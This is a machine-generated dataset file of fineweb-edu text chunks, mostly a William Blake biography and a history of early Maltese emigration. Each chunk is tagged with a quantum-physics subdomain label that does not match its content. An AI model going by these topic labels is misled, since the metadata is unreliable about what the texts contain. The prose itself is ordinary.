c. sproul. \u00a9 tabletalk magazine. website : www. ligonier. org / tabletalk. email : firstname. lastname @ example. org. toll free : 1 - 800 - 435 - 4343.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45145687020988445, "token_count": 339, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.572927"} {"text": "the gothic life of william blake : 1757 - 1827 quite possibly the greatest british poet and artist to ever live. the art history archive - gothic william blake may not fit into the role of what we consider to be a \" modern goth \"... but his poetry and art about sex, love, religion and especially death marks him as a goth within the romanticist period of art. he was a poet, an artist, a sexual liberator, a political activist and devoutly against the corruption within the catholic church. his art about dante in particularly shows his allegories against the catholic church and the politics of death. see also the following sites about william blake, gothic art & romanticism : poet, printmaker, visionary, the british artist william blake ( 1757 - 1827 ) made work that is both profoundly personal and universal. tate britain is now presenting the most comprehensive exhibition of blake ' s work ever held ( 9 november - 11 february 2001 ). the aim is to show blake as an artist, as a poet and as a man. blake saw himself as a medieval craftsman, not a sophisticated modern artist, and this part of the exhibition examines how the gothic world influenced his art, imagination and ideals. blake did not become famous in his own lifetime. only after his death did his fame spread wildly. the life william blake : blake was born in 1757, and died in 1827, at the age of sixty - nine. his poetry and his art reflected his personal beliefs in sex, love, innocence, corruption, religion, ecology and the environment. sex was not a sin in his mind, corruption was. william blake was born on november 28, 1757 in london at 28 broad street, golden square, where his father had a successful hosiery business. since blake was an unruly child his parents educated him at home instead of formal school. he spent his youth roaming about london and the countryside on the edge of town. he describes this in a song from his poetical sketches which he started writing at the age of thirteen : how sweet i roamed from field to field at the age of about ten, blake said that he saw his ' first vision ' when, sauntering along on peckham rye, he looked up to see a tree filled with angels. according to the accounts blake gave of his literary development, he was already reading the works of milton and isaiah as a child. at the age of ten, blake was sent to mr pars ' drawing school in the strand, where he copied plaster - casts of ancient", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4159488824110433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.589411"} {"text": "accounts blake gave of his literary development, he was already reading the works of milton and isaiah as a child. at the age of ten, blake was sent to mr pars ' drawing school in the strand, where he copied plaster - casts of ancient sculptures. his father, unable to afford the cost of placing blake as the pupil of a leading painter, took the prudent decision to apprentice him to an engraver at the age of fourteen. blake ' s master, james basire of queen street, lincoln ' s inn, was engraver to the london society of antiquaries. as a result, blake was sent to westminster abbey to make drawings of tombs and monuments. here he learned to love gothic art. he stood on the tombs to view them better and even made sketches when the grave of edward i was opened. in his free time, blake collected prints of then unfashionable artists such as durer, raphael, and michelangelo. in literature too, he rejected eighteenth - century polish, preferring the elizabethans ( shakespeare, jonson and spenser ) and ancient ballads, both authentic ( such as percy ' s reliques of ancient english poetry ), and forged ( such as macpherson ' s ossian and chatterton ' s poems of rowley ). in august 1779, blake was admitted to the royal academy ( founded by the painter sir joshua reynolds who was then its president ). paying his way by producing engravings for novels and catalogues, blake drew from casts, life models and corpses, and shared in the dream of founding a new english school of historical painting. there was, however, friction between blake and his teachers. reynolds recommended that he work with ' less extravagance and more simplicity ', while george michael moser, another teacher there, discouraged blake ' s admiration for the ' old, hard, stiff and dry unfinished works ' of raphael and michelangelo. on the other hand, blake was inspired by the artist james barry and his grand historical paintings. he made friends with other young artists and was able to exhibit his own historical watercolours. blake married catherine boucher at st mary ' s, battersea in 1782. the newly - weds then moved out of blake ' s father ' s house to green street, near leicester square. in the next year blake ' s poetical sketches were published, and there was even talk of raising a subscription to send him to study in rome. in the summer of 1784, blake ' s father died. while the eldest son, james,", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.37666575611901526, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.590360"} {"text": ". in the next year blake ' s poetical sketches were published, and there was even talk of raising a subscription to send him to study in rome. in the summer of 1784, blake ' s father died. while the eldest son, james, took over the hosiery business in number 28, blake and his wife moved into the next - door house at 27 broad street. there he set up in business as a print seller in partnership with james parker. the partnership lasted only three years, and in 1787 blake moved to a house around the corner in poland street. in the same year his beloved younger brother, robert, died. blake sat by him during his last illness, and claimed to see his spirit pass through the ceiling on its way to heaven. blake said that the spirit of robert came to him ' in a vision in the night ' and revealed the secret technique for combining poem and picture on a single printing plate. in 1788, blake started work on the first of his illuminated books using this method. his first efforts were in simple, chapbook style, but by 1789, the songs of innocence had been completed with blake and his wife hand - producing the book. in the words of blake ' s first biographer alexander gilchrist, they did everything ' except manufacturing the paper '. lambeth was still a village when blake and his wife moved to no. 13 hercules buildings in 1791. a much larger house than any blake had lived in before, it provided the light and space that he needed for his work. blake now entered upon the most creative and productive period of his life. blake ' s work had become more overtly political after the upheavals in france in 1789. his poem the french revolution, though printed in 1791 by joseph johnson ( publisher of tom paine ' s rights of man ), was deemed too dangerous to actually publish. by this time, blake already felt himself to be losing out to his contemporaries in the art world, and now he saw the door to public recognition closing. the 1793 co - publication of the gates of paradise, an emblem book for children, was blake ' s last venture into commercial publishing. in october of the same year, blake published his prospectus a public advertisement of his recent works. the prospectus was also a critique of the establishment and the difficulty of gaining reconition for artists who lacked ' the means to propagate such works as have wholly absorbed the man of genius '. blake was literally taking matters into his own hands by producing his own work and offering it", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42310085200132075, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.591392"} {"text": "the establishment and the difficulty of gaining reconition for artists who lacked ' the means to propagate such works as have wholly absorbed the man of genius '. blake was literally taking matters into his own hands by producing his own work and offering it for sale at his home. the prospectus advertised the illuminated prophetic books which had begun to pour forth from his press : the marriage of heaven and hell, a brief epic interspersed with proverbs, the visions of the daughters of albion, an allegory about freedom, and america, a prophecy, a mixture of history and myth, all date from 1793. there was no letting up in 1794, when the songs of experience ( the pessimistic ' contrary ' volume to the songs of innocence ) was completed. in the same year blake also published europe, a prophecy ( an allegory of the political situation in europe with warnings about the dire consequences of war ), and the first book of urizen ( his account of the origins of mankind and the natural world ). the illustrations in blake ' s prophetic books had been growing ever larger and more colourful. it was therefore a logical step for him to adapt his printing - methods to produce full - scale paintings. the year 1795 saw the production of the series of twelve large watercolour prints, including newton and nebuchadnezzar and the house of death ( shown here ), which biographer peter ackroyd calls ' the finest artistic statement of blake ' s lambeth visions '. in 1796, richard edwards, a bookseller, commissioned blake to illustrate young ' s night thoughts, a philosophical verse epic immensely popular in the late eighteenth century. ultimately, however, edwards lost interest, and finally less than half the poem was published, with only forty - three engravings from blake ' s 500 watercolours. blake ' s friend, the sculptor john flaxman, commissioned him to illustrate the poems of thomas gray. in addition, blake ' s most important patron the civil servant thomas butts, commissioned a series of biblical paintings from him. however, this work was not enough to compensate for price inflation and the depressed art market, caused by the war with france. work was scarce and life was hard, so it seemed like a stroke of luck when william hayley, an eccentric gentleman poet, invited blake down to live on his estate in sussex. the blakes were glad to leave the ' terrible desert of london ' for ' sweet felpham '. delighted by the natural beauty around him, blake", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46382033526162475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.592388"} {"text": "hayley, an eccentric gentleman poet, invited blake down to live on his estate in sussex. the blakes were glad to leave the ' terrible desert of london ' for ' sweet felpham '. delighted by the natural beauty around him, blake embarked on his new life in sussex with great optimism. blake received many commissions from his new patron, producing plates for hayley ' s ballad little tom the sailor, and engravings for his ballads on anecdotes relating to animals and for his life of cowper. but by 1802, the situation had soured. blake was tired of the endless stream of trivial commissions from hayley and his society neighbours. he had no wish to waste his talents painting a series of great poets ' portraits for hayley ' s new library ( see portrait of milton above ), or handscreens for his neighbour, lady bathurst. the next year blake wrote a letter to his patron butts stating that only in london that he could ' carry on his visionary studies... see visions, dream dreams '. to make matters worse, in august 1803 blake had driven a soldier, private john schofield, out of his garden, allegedly uttering the treasonous words ' damn the king. the soldiers are all slaves. ' scheduled to be put on trial for sedition, blake moved back to london in late 1803, thoroughly sick of his officious patron, of his damp cottage and of the law. he briefly returned to sussex in early 1804 and was acquitted to the riotous approval of the court. blake ' s optimism about his return to london was ill - founded. at his new lodgings on the first floor of no. 17 south moulton street, he began work on the illuminated books, milton and jerusalem. however, commercial work proved even more elusive than it had before. ' art in london flourishes, ' he wrote, ' yet no one brings work to me '. when the publisher robert cromek approached him to both illustrate and engrave the poet robert blair ' s grave, blake ' s luck seemed to have taken a turn for the better. the disappointment was only the more intense, therefore, when cromek ultimately chose the artist schiavonetti to engrave blake ' s illustrations instead of blake himself. the grave proved a success, but blake received little financial reward. he now became increasingly paranoid and cantankerous, breaking off from most of his friends and patrons. in 1806, cromek teamed up with the artist thomas stothard to produce a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3903437561792508, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.593283"} {"text": "proved a success, but blake received little financial reward. he now became increasingly paranoid and cantankerous, breaking off from most of his friends and patrons. in 1806, cromek teamed up with the artist thomas stothard to produce a painting and engraving of chaucer ' s canterbury pilgrims. blake claimed they had stolen the idea from him and when stothard ' s work was exhibited to great acclaim, blake decided to hold a one - man exhibition centered around his own version of the canterbury pilgrims. unfortunately, he could not afford to show his work in a fashionable part of town, so his exhibition was held in his brother ' s hosiery shop in may 1809. almost no one came. the reviews were cruel, mocking blake as ' an unfortunate lunatic whose personal inoffensiveness secures him from confinement ', and dismissing his descriptive catalogue as ' a farrago of nonsense... and egregious vanity '. by 1810, blake was impoverished and estranged from his friends and patrons. indeed his first biographer entitled the chapter dealing with the period 1810 - 1817 ' years of deepening neglect '. but blake continued to work, believing his jerusalem, an epic about war, peace and liberty focused on london, to be his finest work. as blake turned sixty, his work at last began to find passionate admirers among younger artists, such as the watercolourists john linnell and john varley. it was varley who encouraged blake to draw sketches of his ' spiritual visitants ', of which the most famous is the ghost of a flea. linnell, meanwhile, despite being over thirty years blake ' s junior, commissioned works for himself, and helped blake secure commissions from others. it was thanks to his influence that blake made the woodcuts for robert thornton ' s schooltext of virgil ' s pastorals in 1821. and linnell himself ordered a duplicate set of the watercolours of the book of job ( originally produced for thomas butts ) and commissioned the series of drawings from dante ' s divine comedy in 1824. in 1821, blake moved to a couple of rooms in fountain court, strand, from which he could see the thames. his young admirers called him ' the interpreter ', and confident in the judgement of posterity, he grew into a gentler and less angry man. in the spring of 1827, blake fell ill. a friend at his deathbed said he died ' singing of the things he saw in heaven ' on august 12 at the age of sixty", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3990422306965688, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.594191"} {"text": "virgil, and the exaggerated pose of the fleeing dante. notice also that the three beasts hardly look terrifying at all. blake, in fact, seemed to have difficulties depicting wild animals. compare, for example, the tiger in songs of experience ). dante is being led by virgil, the roman poet, through hell, purgatory and paradise. here they are shown entering the gate of hell. once inside, they shall first pass through the region where the souls of the uncommitted ( those who lived their lives without doing anything notably good or bad ) reside. they shall then be ferried by charon across the river acheron into hell proper. virgil is the right - hand figure in blue, dante the left - hand one in grey. notice how the greenery framing the outside of the gate contrasts with the bleak panorama of fire and ice inside. if you look carefully you can see tiny figures in torment on the hills. these successive hills represent the different circles of hell, where the souls of people guilty of different sins are punished in an appropriate manner. those guilty of the sin of lust, for example, are buffeted about by the winds of passion and desire in the second circle. in this circle people guilty of the sin of lust are whirled round and round in an unending storm. the storm, of course, represents irresistible passion. among those being blown about are mythic and historical queens such as helen of troy and cleopatra of egypt. dante, however, chooses to speak to paolo and francesca, famous lovers from rimini. francesca had been married to the brave, but physically deformed gianciotto. she was reading an arthurian romance with his better - looking brother, paolo, when passion got the better of them. gianciotto, enraged, murdered them both, for which he was consigned to the deepest circle of hell ( where dante shall later meet him ). dante is so moved by this romantic tale that he faints, hence his position flat on his back. notice that above virgil ' s head a sun - like disc contains a sketch of a couple embracing, while the wind - blown lovers themselves seem to be flying up and out of the picture to freedom. blake disapproved of dante for depicting god as a vengeful judge, whose role was to inflict ingenious punishment ( similar to his own urizen ), and these details are his subtle protest. as we can see in poems such as ' the garden of love ', blake himself believed that suppress", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45740701506571974, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.597448"} {"text": "judge, whose role was to inflict ingenious punishment ( similar to his own urizen ), and these details are his subtle protest. as we can see in poems such as ' the garden of love ', blake himself believed that suppressing desire was a far worse crime than yielding to it. cerberus is a monstrous three - headed dog who stood guard over hades, the hell of classical mythology. here in the divine comedy he stands guard over the third circle of hell. he is always hungry, and will only allow dante and virgil to pass after they have placated him by throwing earth into his three mouths. it is the gluttons who are punished in this circle. their fate is to lie wallowing in the mud like pigs, pelted by an endless storm of hail and snow, in the very opposite of luxury. compare this monster with those in dante running from the three beasts or ghost of a flea. simony is the sin of exploiting one ' s position in the church to make money, and the eighth circle of hell is a chasm containing the popes guilty of this sin. their punishment is to be thrust upside down in a stone hole, with the soles of their feet on fire. this picture depicts pope nicholas iii. dante has just been ranting against the corruption of the church, and against nicholas in particular. in response, pope nicholas has writhed in anger, causing an alarmed dante to leap into virgil ' s arms. notice how dante seems to have literally shrunk from fear. notice also the blue - lighting that gives an atmosphere of unworldly horror to this dynamic picture. in this picture dante ( standing in the right hand corner ) finally meets beatrice, who is the crowned figure on the chariot. beatrice was the love of dante ' s life, and was the subject of his first collection of poems, vita nuova. she died when she was only 25 years old - hence her presence in the afterlife as the central figure of the divine comedy. anxious that dante had gone astray after her death, it was beatrice who, in the scheme of the poem, arranged for virgil to guide him through hell and purgatory. she is veiled but dante nonetheless senses who she is and begins to tremble. beatrice, however, represents more than love. in the scheme of the poem she is divine revelation and grace. the rich and bright colours used here express dante ' s double delight. he is reunited with his lady - love, and at the same time", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4672514079068432, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.598517"} {"text": "early migration chapter1 author : fr lawrence e. attard on november 12th 1903 the british governor of malta, sir charles mansfield clarke, addressed the new legislative assembly in valletta and hinted at a major headache that was troubling the administration. the particular problem which was troubling the governor was the expanding population of the maltese islands which in 1901 had reached the total of 184, 742. the colonial administration was worried about too many civilians crowding the restricted space of these small islands which happened to be a very important base for the british navy. on that particular day sir mansfield clarke said that the maltese islands had the highest population density in the world and that unless new measures were taken the excessive population of the towns would pose a very serious problem. more than ninety years before, in 1812, a british commission of inquiry had been sent to malta to suggest how to govern the island which had not as yet been formally incorporated into the empire. the royal commissioners commented favourably on the general standard of living of the maltese who were not only contented with their newly acquired status of association with great britain but were also enjoying unprecedented wealth and prosperity. however the commissioners did note that the maltese not only lived long but also loved their families, which were usually large, and because of this there were too many people on an island which was primarily a strategic base for the royal navy. in spite of such dire forebodings the maltese always managed not only to survive but also to live in a degree of comfort not always shared by their mediterranean neighbours. maltese harbours flourished after 1869 when the suez canal was opened and valletta became the chief bunkering station in the mediterranean when ships of various nationalities called in for coal. the initial years of the twentieth century had brought with them an economic boom and admiralty works in the dockyard kept many workers busy ; in 1905 the number of men employed by the naval establishment was 9, 175. the war office undertook the construction of various barracks, and the two great arms of the breakwater, which made the waters inside grand harbour safe throughout the year, were by now nearing completion. no wonder that there was no real unemployment and that labourers had to be lured from spain and italy. as wages went up so did the material well being of the maltese. according to r. vadala the maltese had in 1901 a fleet of some thirty - five boats which employed two hundred and twenty - seven men. it had long been suggested that a locally financed merchant fleet would not only provide more jobs but would also bring in more revenue.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4119044357950944, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.650231"} {"text": "cities had indirectly helped to bring malta ' s economic boom and trade monopoly to an end. the difficulty of finding work at home, coupled with the decrease in trade with foreign countries, made the maltese worker look to emigration as a solution to this double problem. maltese had been emigrating to the lands bordering on the mediterranean for many years and there were maltese colonies in egypt, tripolitania, tunisia and algeria. the colonisation of cyprus and the ionian isles had been tried with no spectacular success and even the little island of lampedusa was turned into a maltese colony for some forty years. the british had never involved themselves in organised emigration from malta but they considered emigration as a possible solution to the overpopulation of the island which would cost them nothing. the local papers plunged into the argument for or against emigration with uncontrolled zest. newspapers with imperial loyalties, which were published in english, favoured emigration to the vast and empty lands of the empire or at least to countries where english was spoken. other newspapers considered emigration as an evil tool of the imperialists who were secretly planning to get rid of th, civilian population so that the island would better serve its military and naval call as one of britain ' s most strategic bases. a daily newspaper published in english which strongly advocated organised emigration was the daily malta chronicle. in an editorial dated september 30th 1910 the paper said : \" there is one question which rises above all other questions. month by month it acquires greater importance. it may well be called our burning question : it is the question of emigration. there can be no longer any hope for us of welfare, except in getting for ourselves another home in a favourable land \". in a somewhat dramatic vein the editor put the question to his readers : \" what is to become of us? when we had a mighty fleet and a great garrison, we could all get along somehow... we are left like some tree that had flourished in good soil but at length could find but scanty nourishment in the ground. the tree decays because it cannot be transplanted. and we shall decay unless we are determined to transplant ourselves! \" the prolonged absence of the navy from maltese harbours de discharges from the dockyard inevitable. a number of men were employed as casuals only to be declared redundant when their jobs had been finished. others, barely surviving on very low wages, were often sent on compulsory leave for an indefinite period during which even those low wages were withheld. workers and their families who were living under such insecure", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4162169736394782, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.652499"} {"text": "be declared redundant when their jobs had been finished. others, barely surviving on very low wages, were often sent on compulsory leave for an indefinite period during which even those low wages were withheld. workers and their families who were living under such insecure conditions began to look to other places where work was available and skilled people were appreciated. another newspaper, the malta herald, in a letter dated june 16th 1913 aired the prevalent despondency : \" workpeople who are living in these straits have no option to resort to, but to quit their island home and settle in such parts of america where work is plentiful, substantial wages prevail, and the employers ' treatment and appreciation of skill, sobriety and honesty of the labour employed are of the very best \". another correspondent laments that... \" wages have fallen to nothing... there are mechanics, even doing dangerous work, who receive 14s a week. one shilling and four pence a day is considered to be remuneration enough for thousands of able bodied workmen! \" accordingtoaparliamentaryquestionputbylordchariesberesfordin1913 to the first lord of the admiralty, dr macnamara, in the british house of commons, wages in malta had remained practically stationary for the last thirty years. unemployment had brought an increase in the number of beggars who were seen pestering people ; many of these beggars were young children pushed out into the streets by their parents in order to earn that little extra money. these were usually the children of illiterate parents ; but the children of the more comfortable middle classes had their worries too. malta has always had to carry the burden of those who by family tradition feel that manual work is not for them. between 1909 and 1912 some two hundred students had received their diplomas and degrees from the royal university and these swelled the ranks of lawyers, notaries and legal procurators ; in those unsettled days these students had little prospects for a remunerative practice. many of them ended up by entering the political arena for the sake of having something to do. although the island suffered because of the superfluous number of men who had come out from the university, there certainly was enough room for good doctors. maltese generally enjoyed good health, but the prevalent poverty which preceded the first world war and the primitive standards in hygiene did contribute to occasional scares of cholera and fever ; trachoma was unfortunately very common. it is only fair to state that", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45170301457523754, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.653589"} {"text": "good doctors. maltese generally enjoyed good health, but the prevalent poverty which preceded the first world war and the primitive standards in hygiene did contribute to occasional scares of cholera and fever ; trachoma was unfortunately very common. it is only fair to state that other countries did not fare much better. immigrants from southern europe and the mediterranean littoral were particularly scrutinised as they set foot in receiving countries because of the diseases referred to and also because of the obvious prejudices enter - tained in those days against catholics and latins in english - speaking countries. in 1911 a number of emigrants from malta were left stranded on ellis island, new york, because their eyes were infected with trachoma ; in spite of the hardships endured and the expense which they had to make in order to make the voyage from malta to the u. s. a., all of them were sent back. trachoma had been widespread in malta for many years and was only eradicated during the late forties when systematic inspections were carried out in the schools and throughout the villages. it seems that few were the doctors in malta who had professional knowledge of the disease because a number of prospective migrants had been examined before they emigrated only to be refused entry once they were examined by health officials. very often, those same migrants who carried with them official certificates which stated that they had had their eyes examined by local doctors, were found to be sufferers from trachoma. professor lawrence manche ' was in charge of the ophthalmic institute at hamrun where he and his son examined men and women who were going to foreign countries. when the professor appeared before the royal commission on december 13th 191 1, he stated that he had examined some 1, 500 cases in his clinic. he also stated that although he had published leaflets in maltese about the causes of trachoma and wrote down suggestions on how to check the infection, he did not believe that his leaflets had had much impact on the populace because so many people were illiterate. the professor also criticized district medical officers who treated patients suffering from trachoma very superficially. the report of the royal commission of 1912 stated clearly that... \" no candidate should be approved unless he possesses a medical certificate that his health will enable him to stand the climate and other conditions of the country in which he is to work. there are diseases to which malta is subject which add to the importance of this consideration \". in fact the colonial administration of the time did very little to follow the sound advice given by", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42157694319545475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.654625"} {"text": "climate and other conditions of the country in which he is to work. there are diseases to which malta is subject which add to the importance of this consideration \". in fact the colonial administration of the time did very little to follow the sound advice given by the royal commissioners. emigration continued till 1914 in a very unplanned manner. the rulers of malta simply had developed no policy regarding emigrants and emigration. the emigrant had to plan his future on his own because he found hardly anybody willing to help him. illiteracy, destitution, disease, rough manners and the language handicap, weighed so heavily against the maltese migrant, that one cannot but admire the courage and resourcefulness of those early emigrants who set out on their own for the vast spaces of foreign countries when, till then, they had hardly ever ventured away from their village square. the secretary of the malta emigration committee, dr charles mattei, in a letter written on march 17th 191 1, to a local newspaper gave a somewhat cynical account of how the eminently practical doctor disposed of his less fortunate brethren who had applied to emigrate but who had no knowledge of the english language. the letter ran thus : \" as many people have asked me how the language difficulty is overcome by our countrymen emigrating to north america, the following may be of interest. i give a man a piece of cardboard with the following writing in large letters : i am - e. g. antonio calleja a british subject from malta, europe - 1 am perfectly healthy in body and mind 1 have enough money according to united states immigration law : and a fully paid ticket to my destination - 1 want to go to e. g. mr fenech, sansome street, san francisco, california - please send me on \". \" the emigrant was instructed to hand this round his neck, over his clothes on his chest, in a conspicous place and be sure to have it on when landing, when going through the immigration offices at ellis island, new york, and on the train - to trust implicitly and obey to the best of his intelligence officials with long blues frock coats and brass buttons \". \" practically i attached a label to this man and sent him by mail carriage paid and he was safely delivered - the man reached his destination safely without trouble and is now working at two and a half dollars a day. on reaching san francisco he was put on a tram car and dropped at mr fenech ' s place. one could be dropped at st. bruno where", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4031789393311714, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.655628"} {"text": "man reached his destination safely without trouble and is now working at two and a half dollars a day. on reaching san francisco he was put on a tram car and dropped at mr fenech ' s place. one could be dropped at st. bruno where other maltese live - they soon recognise each other through a cummerband, or curls on the forehead, or a maltese cross hanging about somewhere. there is now a ' parcel ' of six women and four children waiting to be ' mailed '. \" subsequent history remained silent on what happened to such hapless people in search of work and food in lands completely strange to them. mattei ' s attitude does not show any particular concern about later experiences of these migrants. the letter indicates that any interest that was shown in emigration seemed to have been to deliver the goods and conveniently forget about the whole thing as soon as possible. the image of the maltese emigrant was that of a poor and confused itinerant. when in 1912 some migrants were about to embark on a boat that would eventually take them to brazil, professor manch @ noticed that some of them had neither enough clothing nor the financial means to support themselves during the long voyage. manche ' suggested that a voluntary subscription should be opened to provide those men and women with some decent covering. the impression given by maltese migrants to australia and north africa was also unsatisfactory. the tunis correspondent of the daily malta chronicle wrote on august 9th 1913 about maltese immigrants who arrived in groups, without having any shoes on their feet or jackets on their backs. in australia people looked on the maltese in amazement because they spoke a language nobody could understand. the same corres - pondent noted that the maltese were known for their foul language and that the french in north africa referred to them as swearers. one other nuisance which seemed to be associated with the maltese abroad and at home was the habit of spitting which they seemed to be doing ail the time. the general impression in malta before the outbreak of the first world war was that emigration was the only solution to the problem of over - population and unemployment. workers without a job were considered as a potential danger to the stability of the political system and to the efficiency of the island as an important imperial base. even the local middle classes were uneasy at the sight of unemployed people because these were now a burden on the economy. it should be remembered that while the ruling classes of malta discussed emigration and argued about the countries which offered the best opportunities, they themselves felt that they were only academically", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4331376229528464, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.656659"} {"text": "uneasy at the sight of unemployed people because these were now a burden on the economy. it should be remembered that while the ruling classes of malta discussed emigration and argued about the countries which offered the best opportunities, they themselves felt that they were only academically involved : it was the workers and the farmers that had to be induced to go. emigration was the apparent solution to the troubles of the labouring classes. an improbable complication connected with emigration was the thorny question about the privileged position of the italian language in malta. again this was an argument which only involved the educated masses ; these were themselves divided into two camps, those who favoured the british connection and therefore wished to see english the dominant language in malta, and those who felt that their culture was latin and therefore defended the position still held by italian as the language of the elite. the rank and file of the maltese were only involved as incidental to the language question. the only language that the maltese understood was their own : a semitic tongue which they have been speaking for centuries and which is still today the basic mark of their individuality at home and even more so abroad. because malta had been under foreign rulers for endless centuries, the dominating families had adopted italian as the language in which they communicated with the european mainland. a number of such families were themselves of non - maltese stock as their names indicated. the only experience they shared with the ordinary people of malta, apart from the catholic faith, was their residence on the same island. members of the higher classes and some of the clergy completed their studies in italian cities and consequently the italian language and culture became the symbol of the preponderance of the few over the native population. with the coming of the british at the beginning of the nineteenth century, the position of italian became ambiguous especially since the majority of the maltese did not feel involved in the language dispute. it was only in 1934 that the language of the people of malta was made the principal language at the law courts. the question of the italian language in malta was finally disposed of among the debris left over by axis bombs during the second world war. inevitably emigration became a political issue ; those who favoured emigration contended that the maltese should emigrate to the lands of the british empire over which the sun never set and which were protected by the union jack, itself a sign of stability, democracy and freedom. naturally if maltese decided to emigrate to countries within the british empire or to the united states, they had to learn english, and english was then expected to replace italian in schools", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4464238010457239, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.658851"} {"text": "by the union jack, itself a sign of stability, democracy and freedom. naturally if maltese decided to emigrate to countries within the british empire or to the united states, they had to learn english, and english was then expected to replace italian in schools. the pro - english party was made up of the so - called reformers who were also supported by influential papers published in english. those who opposed the reformers stated somewhat melodramatically that emigration was an evil plan concocted by the british overlords who wanted to do away with the native population so that the english could come in and settle in the island for good. the anti - - reformers also spread the rumour that the british favoured emigration to the colonies so that they would have maltese soldiers ready to fight for them and defend their possessions. this was the political thesis of the italianate newspaper, \" malta \" ; sym - pathisers with this point of view did propagate the suggestion that malta was an unredeemed \" island and that italy should annexe it. again. it must be kept in mind that the maltese men and women of malta and gozo were not even remotely interested in argumentations relating to anglo - saxon or latin cultures. they kept themselves out of this battle of words and their constant preoccupation was where to find work and who was willing to pay them a decent wage. however the language question did cause divisions and waste of precious years. the administration of the island was kept going even if at a somewhat languid pace. in an effort to do something to help organise emigration the british governor of the time, general sir harry barron, set up in 1907 the malta emigration committee which was composed of ten influential gentlemen who were interested in relieving malta of its over - population and who were ready to do something practical rather than lose their energy in useless verbose argumentations which seem to have been the popular pastimes of maltese leaders of those times. the committee had as its honorary secretary the energetic and resourceful globe - trotter, dr charles mattei. after completing his studies in glasgow and dublin, dr mattei returned to malta in 1906 and was soon asked by the governor to help set up the emigration committee. mattei had been to australia where he was made protector of aborigines and was then affiliated to a tribe of aboriginal cannibals. he was also in china where he witnessed the decapitation of twenty pirates. he also liked canada very much and had had the foresight to encourage", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46626429310954143, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.660246"} {"text": "protector of aborigines and was then affiliated to a tribe of aboriginal cannibals. he was also in china where he witnessed the decapitation of twenty pirates. he also liked canada very much and had had the foresight to encourage maltese emigration to that dominion. in 1912 he went to canada to explore the possibility of sending maltese emigrants to british columbia. during mattei ' s absence, his place was taken by professor lawrence manche ' who, in the meantime, had been devoting his attention to a scheme to help organise emigration with the aid and collaboration of the colonial government, the church and the people. manche ' s was an idealist and he was genuinely surprised that in spite of his letters to the press and an occasional pamphlet written by himself, he had managed to make prac - tically no impact on either the council of government, the church or the people. he favoured vadala ' s scheme for emigration to brazil, an ill - fated venture which ended in tragedy. he opposed the introduction of taxes on landed property and considered income tax as ' very objectionable ', hoping it would be abandoned for ' voluntary and spontaneous action ' on the part of the government, the church and the people. in a letter dated august 5th 1910, manche ' states that taxpayers \" are in our case, chiefly the poor country people \" and the editor of the daily malta chronicle in his editorial of august 27th 1910, complains that \" we do not even want to hear the name of taxes... we fear that those who would have the least difficulty in paying them are the loudest in proclaiming their utter dissatisfaction with even the mention of them \". 